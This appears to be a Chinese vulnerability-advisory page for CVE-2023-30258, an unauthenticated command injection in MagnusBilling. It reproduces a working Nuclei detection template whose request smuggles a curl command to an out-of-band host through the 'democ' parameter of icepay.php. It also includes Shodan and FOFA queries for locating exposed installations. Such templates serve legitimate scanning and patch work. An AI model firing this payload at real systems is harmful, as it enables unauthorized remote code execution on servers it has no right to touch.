CVE-2023-30258: MagnusBilling - Unauthenticated Remote Code Execution

日期: 2025-08-01 | 影响软件: MagnusBilling | POC: 已公开

漏洞描述

Command Injection vulnerability in MagnusSolution magnusbilling 6.x and 7.x allows remote attackers to run arbitrary commands via unauthenticated HTTP request.

PoC代码[已公开]

id: CVE-2023-30258

info:
  name: MagnusBilling - Unauthenticated Remote Code Execution
  author: gy741
  severity: critical
  description: |
    Command Injection vulnerability in MagnusSolution magnusbilling 6.x and 7.x allows remote attackers to run arbitrary commands via unauthenticated HTTP request.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30258
    - https://attackerkb.com/topics/DFUJhaM5dL/cve-2023-30258
    - http://packetstormsecurity.com/files/175672/MagnusBilling-Remote-Command-Execution.html
    - https://github.com/magnussolution/magnusbilling7/commit/ccff9f6370f530cc41ef7de2e31d7590a0fdb8c3
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-30258
    cwe-id: CWE-78
    epss-score: 0.93509
    epss-percentile: 0.99823
    cpe: cpe:2.3:a:magnussolution:magnusbilling:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: magnussolution
    product: magnusbilling
    shodan-query: http.html:"magnusbilling"
    fofa-query: body="magnusbilling"
  tags: cve,cve2023,packetstorm,magnusbilling,rce,oast,unauth,intrusive,magnussolution

http:
  - method: GET
    path:
      - "{{BaseURL}}/mbilling/lib/icepay/icepay.php?democ={{randstr}};curl%20{{interactsh-url}};#"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203232a7882f7f254bdccfe3eaae4147eddd08d7981abd2475b2a8039f888540d1022100d8e54bad7faa9ba39b935e2ac592f7f68c69710fe2a21bc1094e99189aa47ca0:922c64590222798bb761d5b6d8e72950

相关漏洞推荐